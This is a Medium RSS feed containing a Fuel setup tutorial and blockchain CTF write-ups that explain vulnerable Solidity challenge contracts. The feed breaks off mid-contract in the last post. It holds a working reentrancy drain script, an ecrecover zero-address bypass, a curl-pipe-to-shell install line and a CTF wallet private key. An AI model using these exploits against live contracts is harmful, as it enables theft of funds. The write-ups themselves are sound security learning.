<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by princeoftm on Medium]]></title>
        <description><![CDATA[Stories by princeoftm on Medium]]></description>
        <link>https://medium.com/@princeoftm?source=rss-7af4082bc3bb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by princeoftm on Medium</title>
            <link>https://medium.com/@princeoftm?source=rss-7af4082bc3bb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 14:45:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@princeoftm/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[An Intro to writing Your first Contract On Fuel-Part 1]]></title>
            <link>https://princeoftm.medium.com/an-intro-to-writing-your-first-contract-on-fuel-7534686ff450?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/7534686ff450</guid>
            <category><![CDATA[fuelnetwork]]></category>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Wed, 11 Dec 2024 07:16:22 GMT</pubDate>
            <atom:updated>2024-12-11T07:16:47.608Z</atom:updated>
            <content:encoded><![CDATA[<p>An Intro to the pre-requisites of Fuel.</p><h3>What is The Fuel Eco-System?</h3><p>Before the Americans get involved,I asked the bot on their website And i got this</p><p>“Fuel is a next-generation execution layer for Ethereum, designed to offer unparalleled speed, flexibility, and scalability for both developers and users. It focuses on modularity and performance, enabling unmatched parallelization for simultaneous transaction processing. This allows for significantly higher throughput compared to many other blockchains. Fuel also supports native assets efficiently, enhancing security by integrating asset logic into the protocol itself.”</p><p>And going a little deeper into the Documentation I found out it uses a mix of solidity and rust:=sway(not to be confused with solang).</p><h3>The Prerequisites</h3><h4>Installation</h4><p>Putting in the following Command Installs Fuel for You.</p><pre>curl https://install.fuel.network | sh</pre><h3>Getting a wallet</h3><p>For this part of the tutorial We will need a wallet.And we will be using the Command line to do it.</p><p>We can generate a new wallet by putting this in the cmd</p><pre>forc wallet new</pre><p>Next we can create a new wallet account by putting this in the CMD</p><pre>forc wallet account new</pre><p>And we can show our new accounts using this Command</p><pre>forc wallet accounts</pre><p>And to get test funds we can use this: <a href="https://faucet-testnet.fuel.network/">https://faucet-testnet.fuel.network/</a></p><p>In the Next part we will see How to write a contract</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7534686ff450" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pearl 2024 CTF WRITEUP]]></title>
            <link>https://princeoftm.medium.com/pearl-2024-ctf-writeup-bf1d5405befa?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf1d5405befa</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Fri, 25 Oct 2024 16:04:15 GMT</pubDate>
            <atom:updated>2024-12-01T11:48:51.502Z</atom:updated>
            <content:encoded><![CDATA[<p>My writeups for the pearl 2024 CTF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*cWkbhVOo-Ilw4S9R.jpg" /><figcaption>Le me playing this CTF</figcaption></figure><p>Challenge 1:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract Heist {<br><br>    bool public isClassified = true; <br>    uint256 public timeOfLoot = block.timestamp; <br>    uint8 private heatLevel = 10; <br>    uint8 private bounty = 255; <br>    uint16 private policeAttention = uint16(block.timestamp); <br>    string[3] private stolenData; <br><br>    mapping(uint =&gt; uint) internal lootStash; <br><br>    constructor(string[3] memory _loot) public {<br>        stolenData = _loot;<br>    }<br><br>    function stashLoot(uint key, uint value) internal { <br>        lootStash[key] = value;<br>    }<br><br>    event intelDrop(string); <br>    function crackSafe(string memory _code) public {<br>        string memory password = stolenData[2];<br>        require(keccak256(abi.encodePacked(_code)) == keccak256(abi.encodePacked(password)));<br>        emit intelDrop(stolenData[1]);<br>    }<br>}</pre><p>Can crack this easily all i needed to do was check the storage slot at 8 for this flag <br>Flag:pearl(W3lc0me_t0_bl0ckch41n)</p><p>Challenge 2</p><p>Deployment transaction of the contract at 0x9562029a39bf4e0f1e2811a97f0962b70e97e7c8 on polygon mumbai</p><p>Challenge 3:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.0;<br><br>contract GTA5 {<br>    address public kingpin;<br>    string internal gangName;<br>    uint256 public heistThreshold = 120; // threshold<br>    uint num;<br>    mapping(uint =&gt; mapping(address =&gt; bool)) private ownership;<br>    string[] internal heistTargets;<br>    uint internal targetIndex = 1;<br><br><br>    constructor(string memory _gangName, string[] memory _heistTargets,uint _targetIndex) {<br>      gangName=_gangName;<br>      kingpin= msg.sender;<br>      ownership[0][msg.sender] = true;<br>      heistTargets=_heistTargets;<br>      targetIndex=_targetIndex;<br>      num = 1;<br>    }<br><br>    modifier onlyKingpin() {<br>        require(msg.sender == kingpin, &quot;Only the kingpin can call this function&quot;);<br>        _;<br>    }<br>    modifier isonlyKingpin() {<br>        bool isKingpin=false;<br>         for (uint256 i = 0; i &lt;= num; i++) {<br>           if( ownership[i][msg.sender]==true){<br>              isKingpin=true;<br>           }<br>         }<br><br>         require(isKingpin==true, &quot;not authorized&quot;);<br>          _;<br>      }<br>    function setHeistThreshold(uint256 threshold) external onlyKingpin {<br>        heistThreshold = threshold;<br>    }<br><br>    event markus(string[]);<br><br>    function getTrevor() external isonlyKingpin {<br>      emit markus(heistTargets);<br>    }<br>    <br>    function claimOwnership() external {<br>        require(getHeistScore(msg.sender) &gt;= heistThreshold, &quot;Not eligible for ownership yet&quot;);<br>        kingpin = msg.sender; // Transfer ownership<br>        ownership[num][kingpin]=true;<br>        num++;<br>    }<br><br>    function getHeistScore(address player) public view returns (uint256) {<br>        bool isKingpin;<br>        if(player==kingpin) isKingpin=true;<br>        else isKingpin=false;<br>        return targetIndex;<br>    }<br><br>    function embarkOnNextMission() external isonlyKingpin view returns(string memory) {<br>        return gangName;<br>    }<br><br>    receive() external payable {<br>      // transfer crypto to your account if you fall short...<br>        require(msg.value &gt; 1000000);<br>        ownership[num][msg.sender] = true;<br>        num++;<br>    }<br>}</pre><p>Markus emits TUJBJGMAHOIVTRARER_PVCUREXRLOGP we do rot 13 on it to get GHWOWTZNUBVIGENERE_CIPHERKEYBTC which gives foundryusa which is our flag</p><p>Challenge 4</p><p>just the hash of the difficulty at gta 5 contract</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf1d5405befa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sekai CTF-2024]]></title>
            <link>https://princeoftm.medium.com/sekai-ctf-2024-2365a41dff21?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/2365a41dff21</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Fri, 25 Oct 2024 15:48:10 GMT</pubDate>
            <atom:updated>2024-10-25T15:48:30.147Z</atom:updated>
            <content:encoded><![CDATA[<p>My Write-ups For the SekaiCTF 2024</p><p>I solved One and was in the process of solving 2(Time Ran out ;( )</p><p>I learnt How to use Foundry Debugger too in this lol(for a challenge i didnt even solve )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6M48W_6dFOtahiE6.jpg" /><figcaption>Le me learning How to use Foundry Debugger for a challenge I didnt even Solve lol</figcaption></figure><p>Play To earn:</p><p>A very simple Challenge with a higher payoff:</p><p>ArcadeMachine.sol</p><pre>pragma solidity 0.8.25;<br><br>import { Coin } from &quot;./Coin.sol&quot;;<br><br>contract ArcadeMachine {<br><br>    Coin coin;<br><br>    constructor(Coin _coin) {<br>        coin = _coin;<br>    }<br><br>    function play(uint256 times) external {<br>        // burn the coins<br>        require(coin.transferFrom(msg.sender, address(0), 1 ether * times));<br>        // Have fun XD<br>    }<br><br>}</pre><p>Notice How everything goes to Zero Address here.</p><p>Coin.sol</p><pre>pragma solidity 0.8.25;<br><br>import &quot;@openzeppelin/contracts/access/Ownable.sol&quot;;<br>import &quot;@openzeppelin/contracts/utils/cryptography/EIP712.sol&quot;;<br><br>contract Coin is Ownable, EIP712 {<br>    string public constant name     = &quot;COIN&quot;;<br>    string public constant symbol   = &quot;COIN&quot;;<br>    uint8  public constant decimals = 18;<br>    bytes32 constant PERMIT_TYPEHASH = keccak256(<br>        &quot;Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)&quot;<br>    );<br><br>    event  Approval(address indexed src, address indexed guy, uint wad);<br>    event  Transfer(address indexed src, address indexed dst, uint wad);<br>    event  Deposit(address indexed dst, uint wad);<br>    event  Withdrawal(address indexed src, uint wad);<br>    event  PrivilegedWithdrawal(address indexed src, uint wad);<br><br>    mapping (address =&gt; uint)                       public  nonces;<br>    mapping (address =&gt; uint)                       public  balanceOf;<br>    mapping (address =&gt; mapping (address =&gt; uint))  public  allowance;<br><br>    constructor() Ownable(msg.sender) EIP712(name, &quot;1&quot;) {}<br><br>    fallback() external payable {<br>        deposit();<br>    }<br><br>    function deposit() public payable {<br>        balanceOf[msg.sender] += msg.value;<br>        emit Deposit(msg.sender, msg.value);<br>    }<br><br>    function withdraw(uint wad) external {<br>        require(balanceOf[msg.sender] &gt;= wad);<br>        balanceOf[msg.sender] -= wad;<br>        payable(msg.sender).transfer(wad);<br>        emit Withdrawal(msg.sender, wad);<br>    }<br><br>    function privilegedWithdraw() onlyOwner external {<br>        uint wad = balanceOf[address(0)];<br>        balanceOf[address(0)] = 0;<br>        payable(msg.sender).transfer(wad);<br>        emit PrivilegedWithdrawal(msg.sender, wad);<br>    }<br><br>    function totalSupply() public view returns (uint) {<br>        return address(this).balance;<br>    }<br><br>    function approve(address guy, uint wad) public returns (bool) {<br>        allowance[msg.sender][guy] = wad;<br>        emit Approval(msg.sender, guy, wad);<br>        return true;<br>    }<br><br>    function permit(<br>        address owner,<br>        address spender,<br>        uint256 value,<br>        uint256 deadline,<br>        uint8 v,<br>        bytes32 r,<br>        bytes32 s<br>    ) external {<br>        require(block.timestamp &lt;= deadline, &quot;signature expired&quot;);<br>        bytes32 structHash = keccak256(<br>            abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)<br>        );<br>        bytes32 h = _hashTypedDataV4(structHash);<br>        address signer = ecrecover(h, v, r, s);<br>        require(signer == owner, &quot;invalid signer&quot;);<br>        allowance[owner][spender] = value;<br>        emit Approval(owner, spender, value);<br>    }<br><br>    function transfer(address dst, uint wad) public returns (bool) {<br>        return transferFrom(msg.sender, dst, wad);<br>    }<br><br>    function transferFrom(address src, address dst, uint wad)<br>        public<br>        returns (bool)<br>    {<br>        require(balanceOf[src] &gt;= wad);<br><br>        if (src != msg.sender &amp;&amp; allowance[src][msg.sender] != type(uint256).max) {<br>            require(allowance[src][msg.sender] &gt;= wad);<br>            allowance[src][msg.sender] -= wad;<br>        }<br><br>        balanceOf[src] -= wad;<br>        balanceOf[dst] += wad;<br><br>        emit Transfer(src, dst, wad);<br><br>        return true;<br>    }<br>}</pre><p>Point to note:</p><p>Zero Address is like any other address in Etheruem .This means that it can transfer tokens and act like a normal Contract too.</p><p>Important lines:</p><pre>function permit(<br>        address owner,<br>        address spender,<br>        uint256 value,<br>        uint256 deadline,<br>        uint8 v,<br>        bytes32 r,<br>        bytes32 s<br>    ) external {<br>        require(block.timestamp &lt;= deadline, &quot;signature expired&quot;);<br>        bytes32 structHash = keccak256(<br>            abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)<br>        );<br>        bytes32 h = _hashTypedDataV4(structHash);<br>        address signer = ecrecover(h, v, r, s);<br>        require(signer == owner, &quot;invalid signer&quot;);<br>        allowance[owner][spender] = value;<br>        emit Approval(owner, spender, value);<br>    }</pre><p>This looks like an Ec-recover attack.</p><p>Remember how we sent 20 tokens to the zero address?We can get them back by exploiting this.</p><p>Googling this i found <a href="https://ethereum.stackexchange.com/questions/69328/how-to-get-the-zero-address-from-ecrecover">https://ethereum.stackexchange.com/questions/69328/how-to-get-the-zero-address-from-ecrecover</a></p><p>All i had to do was give v a value of anything other than 27 or 28 to solve it.</p><p>The second one is infinitely more harder and the only one i wasnt able to solve but i had a basic idea of how to solve it.I learnt how to use Foundry Debugger too during this.</p><p>Zoo.sol</p><pre>pragma solidity 0.8.25;<br>import {Animal} from &quot;./Animal.sol&quot;;<br>import {Pausable} from &quot;@openzeppelin/contracts/utils/Pausable.sol&quot;;<br>contract ZOO is Pausable {<br>    uint256 public isSolved;<br>    AnimalWrapper[] public animals;<br><br>    struct AnimalWrapper {<br>        Animal animal;<br>        uint256 counter;<br>    }<br><br>    uint256 constant ADD = 0x10;<br>    uint256 constant EDIT = 0x20;<br>    uint256 constant DEL = 0x30;<br><br>    uint256 constant EDIT_NAME = 0x21;<br>    uint256 constant EDIT_TYPE = 0x22;<br><br>    uint256 constant TRACK_MAX = 0x100;<br>    constructor() {<br>        animals.push(AnimalWrapper(new Animal(&quot;PANDA&quot;, &quot;PND&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;TIGER&quot;, &quot;TGR&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;HORSE&quot;, &quot;HRS&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;ZIBRA&quot;, &quot;ZBR&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;HIPPO&quot;, &quot;HPO&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;LION&quot;, &quot;LON&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;BEAR&quot;, &quot;BAR&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;WOLF&quot;, &quot;WLF&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;ELEPHANT&quot;, &quot;ELP&quot;), 0));<br>        animals.push(AnimalWrapper(new Animal(&quot;RHINO&quot;, &quot;RNO&quot;), 0));<br><br>        // The ZOO is not opened yet :(<br>        _pause();   <br>    }<br><br>    function commit(bytes memory data) internal whenNotPaused {<br>        assembly {<br>            let counter := 0<br>            let length := mload(data)<br><br>            for {<br>                let i := 0<br>            } lt(i, length) {<br>                i := add(i, 1)<br>            } {<br>                let idx<br>                let name<br><br>                let memPtr := mload(0x40)<br><br>                let ptr := mload(add(add(data, 0x20), counter))<br>                idx := mload(ptr)<br>                name := add(ptr, 0x20)<br>                let name_length := mload(name)<br>                counter := add(counter, 0x20)<br><br>                mstore(0x00, animals.slot)<br>                let slot_hash := keccak256(0x00, 0x20)<br>                let animal_addr := sload(add(slot_hash, mul(2, idx)))<br>                let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1))<br><br>                if gt(animal_counter, 50) {<br>                    revert(0, 0)<br>                }<br><br>                mstore(memPtr, shl(0xe0, 0x1436163e))<br>                mstore(add(memPtr, 0x4), caller())<br><br>                pop(call(gas(), animal_addr, 0x00, memPtr, 0x24, memPtr, 0x00))<br><br>                mstore(memPtr, shl(0xe0, 0x61bc221a))<br>                pop(staticcall(gas(), animal_addr, memPtr, 0x20, memPtr, 0x20))<br><br>                let animal_count := sub(mload(memPtr), 0x1)<br><br>                mstore(memPtr, shl(0xe0, 0xfe55932a))<br>                mstore(add(memPtr, 0x4), animal_count)<br>                mstore(add(memPtr, 0x24), 0x40)<br>                mstore(add(memPtr, 0x44), name_length)<br>                mcopy(add(memPtr, 0x64), name, name_length)<br><br>                pop(call(gas(), animal_addr, 0x00, memPtr, 0x84, memPtr, 0x00))<br><br>                sstore(<br>                    add(add(slot_hash, mul(2, idx)), 1),<br>                    add(animal_counter, 1)<br>                )<br>            }<br>        }<br>    }<br><br>    fallback() external payable {<br>        function(bytes memory)[] memory functions = new function(<br>            bytes memory<br>        )[](1);<br>        functions[0] = commit;<br><br>        bytes memory local_animals;<br>        assembly {<br>            let arr := mload(0x40)<br>            let size := calldatasize()<br>            mstore(arr, size)<br>            let size_align := add(add(size, sub(0x20, mod(size, 0x20))), 0x20)<br>            mstore(0x40, add(arr, size_align))<br>            calldatacopy(add(arr, 0x20), 0, size)<br><br>            local_animals := mload(0x40)<br>            mstore(0x40, add(local_animals, 0x120))<br><br>            for {<br>                let i := 0<br>            } lt(i, size) {<br><br>            } {<br>                let op := mload(add(add(arr, 0x20), i))<br>                op := shr(0xf8, op)<br>                i := add(i, 1)<br><br>                switch op<br>                case 0x10 {<br>                    let idx := mload(add(add(arr, 0x20), i))<br>                    idx := shr(0xf8, idx)<br>                    i := add(i, 1)<br><br>                    if gt(idx, 7) {<br>                        revert(0, 0)<br>                    }<br><br>                    let name_length := mload(add(add(arr, 0x20), i))<br>                    name_length := shr(0xf0, name_length)<br>                    i := add(i, 2)<br><br>                    let animal_index := mload(add(add(arr, 0x20), i))<br>                    animal_index := shr(0xf0, animal_index)<br>                    i := add(i, 2)<br><br>                    let temp := mload(0x40)<br>                    mstore(temp, animal_index)<br>                    mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length)<br>                    i := add(i, name_length)<br><br>                    name_length := add(<br>                        name_length,<br>                        sub(0x20, mod(name_length, 0x20))<br>                    )<br><br>                    mstore(add(temp, 0x20), name_length)<br>                    mstore(0x40, add(temp, add(name_length, 0x40)))<br><br>                    mstore(add(add(local_animals, 0x20), mul(0x20, idx)), temp)<br><br>                    let animals_count := mload(local_animals)<br>                    mstore(local_animals, add(animals_count, 1))<br>                }<br>                case 0x20 {<br>                    let idx := mload(add(add(arr, 0x20), i))<br>                    idx := shr(0xf8, idx)<br>                    i := add(i, 1)<br><br>                    if gt(idx, 7) {<br>                        revert(0, 0)<br>                    }<br><br>                    let offset := add(add(local_animals, 0x20), mul(0x20, idx))<br>                    let temp := mload(offset)<br><br>                    let edit_type := mload(add(add(arr, 0x20), i))<br>                    edit_type := shr(0xf8, edit_type)<br>                    i := add(i, 1)<br><br>                    switch edit_type<br>                    case 0x21 {<br>                        let name_length := mload(add(add(arr, 0x20), i))<br>                        name_length := shr(0xf0, name_length)<br>                        i := add(i, 2)<br><br>                        mcopy(<br>                            add(temp, 0x40),<br>                            add(add(arr, 0x20), i),<br>                            name_length<br>                        )<br>                    }<br>                    case 0x22 {<br>                        let new_type := mload(add(add(arr, 0x20), i))<br>                        new_type := shr(0xf0, new_type)<br>                        i := add(i, 2)<br><br>                        mstore(add(temp, 0x20), new_type)<br>                    }<br>                }<br>                case 0x30 {<br>                    let idx := mload(add(add(arr, 0x20), i))<br>                    idx := shr(0xf8, idx)<br>                    i := add(i, 1)<br><br>                    if gt(idx, 7) {<br>                        revert(0, 0)<br>                    }<br><br>                    let offset := add(add(local_animals, 0x20), mul(0x20, idx))<br>                    let temp := mload(offset)<br><br>                    let copy_size := sub(0x100, mul(0x20, idx))<br>                    mcopy(offset, add(offset, 0x20), copy_size)<br><br>                    let animals_count := mload(local_animals)<br>                    animals_count := sub(animals_count, 1)<br>                    mstore(local_animals, animals_count)<br>                }<br>                default {<br>                    break<br>                }<br>            }<br>        }<br>        functions[0](local_animals);<br>    }<br>    receive() external payable {}<br>}</pre><p>Setup.sol</p><pre>pragma solidity 0.8.25;<br><br>import &quot;./ZOO.sol&quot;;<br>contract Setup {<br>    ZOO public immutable zoo;<br><br>    constructor() payable {<br>        zoo = new ZOO();<br>    }<br><br>    function isSolved() public view returns (bool) {<br>        return zoo.isSolved() == 1;<br>    }<br>}</pre><p>Notice that there isnt a function to Increase it by hand.So what we can do is overflow it using carefully crafted Assembly Code.</p><p>Thank you and until next time</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2365a41dff21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NoobZ ctf Writeup]]></title>
            <link>https://princeoftm.medium.com/noobz-ctf-writeup-5ac39355799c?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ac39355799c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[noob-community]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Fri, 25 Oct 2024 08:16:32 GMT</pubDate>
            <atom:updated>2024-10-25T08:17:53.582Z</atom:updated>
            <content:encoded><![CDATA[<p>These are my writeups For noobzCTF</p><p>Honestly me solving EVM puzzles and Even more harder EVM puzzles helped a lot in this lol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*iXT0ratjiCTa7vCN" /><figcaption>Le me coming to this CTF after doing EVM Puzzles “I’ve finally got it ;)000”</figcaption></figure><p>EVM-Basics</p><p>Along with the challenge came a file <br>Evm.txt</p><p>In it was</p><pre>5f346113370265fdc29ff358a314601257ff00</pre><p>Putting this into EVM-Codes we get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gOIxmIPQEYTt9wdq3RrSLg.png" /></figure><p>Notice The Code all it is is a simple condition wherein</p><p>1337*X=279012349008035</p><p>so we can say that X=279012349008035/4919=5672135576=0xd34db33f5</p><p>which is our flag</p><p>EVM-Condition</p><p>Another Challenge with A text file included(This challenge could literally give me carpal tunnel lol with the amount of scrolling down i did for this)</p><pre>5f600f607002610258525f60056096046090525f600760090A61FFFA526105396126aa18620bfabf52600361fffa5102620bfabf51013461025851600402016090510114604857ff00</pre><p>To prevent the contract from self-destructing, the CALLVALUE must satisfy the equation 0x1a5e + callvalue == 0xdb15fe.</p><pre>0x1a5e + callvalue == 0xdb15fe<br>callvalue = 0xdb15fe - 0x1a5e<br>callvalue = 0xdafba0</pre><p><strong>Flag: n00bz{0xdafba0}</strong></p><h3>Shop</h3><p><strong>Description</strong></p><p>Welcome to the Shop! Just buy the flag for 1337 ETH! Too bad you don’t have enough… Note: It is best to deploy your contract through web3 python module (I believe js should also work but have not tested it).</p><p>Ok so without looking at the Code i can gather two things<br>1)Its probably overflow.<br>2)Its probably reentrancy.</p><p>And since the Challenge author said “ It is best to deploy your contract through web3 python module (I believe js should also work but have not tested it)” I will be solving this challenge through Foundry Just to prove him wrong :).</p><p>The code</p><pre>pragma solidity ^0.6.0;<br>contract Shop {<br>    uint[4] cost = [5 ether,11 ether,23 ether,1337 ether];<br>   uint[4] bought = [0,0,0,0];<br>    function reset() public payable {<br>        bought[0] = 0;<br>        bought[1] = 0;<br>        bought[2] = 0;<br>        bought[3] = 0;<br>    }<br>    constructor() public {<br>        reset();<br>    }<br><br>    function buy(uint item, uint quantity) public payable {<br>        require(0 &lt;= item &amp;&amp; item&lt;= 3, &quot;Item does not exist!&quot;);<br>        require(0 &lt; quantity &amp;&amp; quantity &lt;= 10, &quot;Cannot buy more than 10 at once!&quot;);<br>        require(msg.value == (cost[item] * quantity), &quot;Payment error!&quot;);<br>        bought[item] = quantity;<br>    }<br><br>    function refund(uint item, uint quantity) public payable {<br>        require(0 &lt;= item &amp;&amp; item &lt;= 3, &quot;Item does not exist!&quot;);<br>        require(0 &lt; quantity &amp;&amp; quantity &lt;= 10, &quot;Cannot refund more than 10 at once!&quot;);<br>        require(bought[item] &gt; 0, &quot;You do not have that item!&quot;);<br>        require(bought[item] &gt;= quantity, &quot;Quantity is greater than amount!&quot;);<br>        msg.sender.call.value((cost[item] * quantity))(&quot;&quot;);<br>        bought[item] -= quantity;<br>    }<br><br>    function isChallSolved() public view returns (bool solved) {<br>        if (bought[3] &gt; 0) {<br>            return true;<br>        }<br>        else {<br>            return false;<br>        }<br>    }<br>}</pre><p>Ok so i was right It is Re-entrancy as C.E.I is not followed in the refund function.</p><p>My solve script</p><pre>pragma solidity ^0.6.0;<br><br>import &quot;./bank.sol&quot;;<br>import &quot;forge-std/Script.sol&quot;;<br>import &quot;forge-std/console.sol&quot;;<br><br>contract solve{<br>    Shop public shop;<br>    address owner;<br>    constructor(address _address) payable public{<br>        shop=Shop(_address);<br>        owner=msg.sender;<br>    }<br>    function start() public payable {<br>        shop.buy{value: 5 ether}(0,1);<br>    }<br><br>    function attack() public payable{<br>        shop.refund(0,1);<br>    }<br>    function finish() public {<br>        address(owner).call{value:address(this).balance}(&quot;&quot;);<br>    }<br>    receive() payable external{<br>        if (address(shop).balance&gt;=0 ether){<br>            shop.refund(0,1);<br>        }<br>    }<br>    function done() public returns (bool){<br>        return shop.isChallSolved();<br>    }<br>}<br><br><br><br>import &quot;forge-std/Script.sol&quot;;<br>import &quot;forge-std/console.sol&quot;;<br><br>contract wow is Script{<br>        function run() external {<br>            uint256 deployerPrivateKey = vm.envUint(&quot;PRIVATE_KEY&quot;);<br>            vm.startBroadcast(deployerPrivateKey);<br>            console.log(vm.envAddress(&quot;Wallet&quot;).balance);<br>            solve solve1 = new solve{value: 7 ether}(vm.envAddress(&quot;Bank&quot;));<br>            Shop bank= Shop(vm.envAddress(&quot;Bank&quot;));<br>            console.log(&quot;intial balance:&quot;,address(solve1).balance);<br>            solve1.start();<br>            console.log(&quot;after buy balance:&quot;,address(solve1).balance);<br>            solve1.attack();<br>            console.log(&quot;final balance:&quot;,address(solve1).balance);<br>            solve1.start();<br>            solve1.attack();<br>            console.log(&quot;final2 balance:&quot;,address(solve1).balance);<br>            console.log(&quot;final3 balance:&quot;,address(solve1).balance);<br>            solve1.finish();<br>            console.log(vm.envAddress(&quot;Wallet&quot;).balance);<br>            bank.buy{gas: 100000}{value: 1337 ether}(3,1);<br>            console.log(solve1.done());<br>            vm.stopBroadcast();<br>        }<br>}<br>/*<br>Choice: 1<br>contract address: 0x23b92643E0bD1a9d1B9e04AA85c9f37A87Ac1E5a<br>rpc-url: http://68.183.110.180:44165<br>Wallet private-key: 0xc1fc9fd79866c9d0e4288aa87c2aa949140f0e17f236a1af253facc2cc04581b<br>Wallet address: 0x393321fa458ea2034E36263D9cbC5f1b199c7770<br>Secret: 280fcf22323a305eb16b56e4d67898d9fc69142f70ec0a5f967a893fb2b4a5e1<br>Please save the provided secret, it will be needed to get the flag<br>*/<br>//nc 68.183.110.180 39999<br>//n00bz{5h0uld_h4v3_sub7r4ct3d_f1r5t}</pre><p>Thank You ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ac39355799c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Imaginary CTF write-ups]]></title>
            <link>https://princeoftm.medium.com/imaginary-ctf-write-ups-26a9677fec8e?source=rss-7af4082bc3bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/26a9677fec8e</guid>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[imaginaryctf2024]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[princeoftm]]></dc:creator>
            <pubDate>Fri, 25 Oct 2024 04:13:03 GMT</pubDate>
            <atom:updated>2024-10-29T17:07:29.603Z</atom:updated>
            <content:encoded><![CDATA[<p>My writeup for the Imaginary CTF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tECnYsqQ-FcKApDg.jpg" /><figcaption>Le me using arithmetic overflow for both of them regardless.</figcaption></figure><p>Le me using arithmetic overflow for both of them regardless.</p><p>Bank(solves-25)</p><pre>pragma solidity ^0.7.0;<br><br>contract Bank {<br>    uint48 flag_cost = 50;<br>    uint48 amount_you_have = 0;<br>    uint48 loaned = 0;<br>    function deposit(uint48 amount) public payable {<br>        require(msg.sender==YOUR_WALLET_ADDRESS,&quot;Please use the wallet provided to you&quot;); // This is for security purposes<br>    require(amount==msg.value,&quot;Please send exact amount&quot;);<br>        amount_you_have += amount;<br>    }<br>    function withdraw(uint48 amount) public payable {<br>        require(msg.sender==YOUR_WALLET_ADDRESS,&quot;Please use the wallet provided to you&quot;); // This is for security purposes<br>        require((amount) &lt; amount_you_have, &quot;You cannot withdraw what you do not have!&quot;);<br>        amount_you_have -= amount;<br>        msg.sender.call{value:amount}(&quot;&quot;);<br>    }<br><br>    function getMoney() public payable {<br>        // Used for deployment, can be safely ignored<br>    }<br>    function loan(uint48 amount) public payable {<br>        require(msg.sender==YOUR_WALLET_ADDRESS,&quot;Please use the wallet provided to you&quot;); // This is for security purposes<br>        loaned += amount;<br>        msg.sender.call{value:amount}(&quot;&quot;);<br>    }<br><br>    function isChallSolved() public view returns (bool solved) {<br>        if ((amount_you_have &gt;= flag_cost) &amp;&amp; (loaned == 0)) {<br>            return true;<br>        }<br>        else {<br>            return false;<br>        }<br>    }<br><br><br>}</pre><p>My account was already initialized with 4*10⁸ ether so all i had to do was deposit into it to increase amount_you_have(I didnt know this and i proceeded to overflow it anyway :( )</p><p>Bank-Revenge(solves-5)</p><pre>pragma solidity ^0.7.0;<br><br>contract Bank {<br>    uint48 flag_cost = 281474976710655;<br>    uint48 amount_you_have = 0;<br>    uint48 loaned = 0;<br>    function deposit(uint48 amount) public payable {<br>        require(msg.sender==YOUR_WALLET_ADDRESS,&quot;Please use the wallet provided to you&quot;); // This is for security purposes<br> require(amount==msg.value,&quot;Please send exact amount&quot;);<br>        amount_you_have += amount;<br>    }<br>    function withdraw(uint48 amount) public payable {<br>        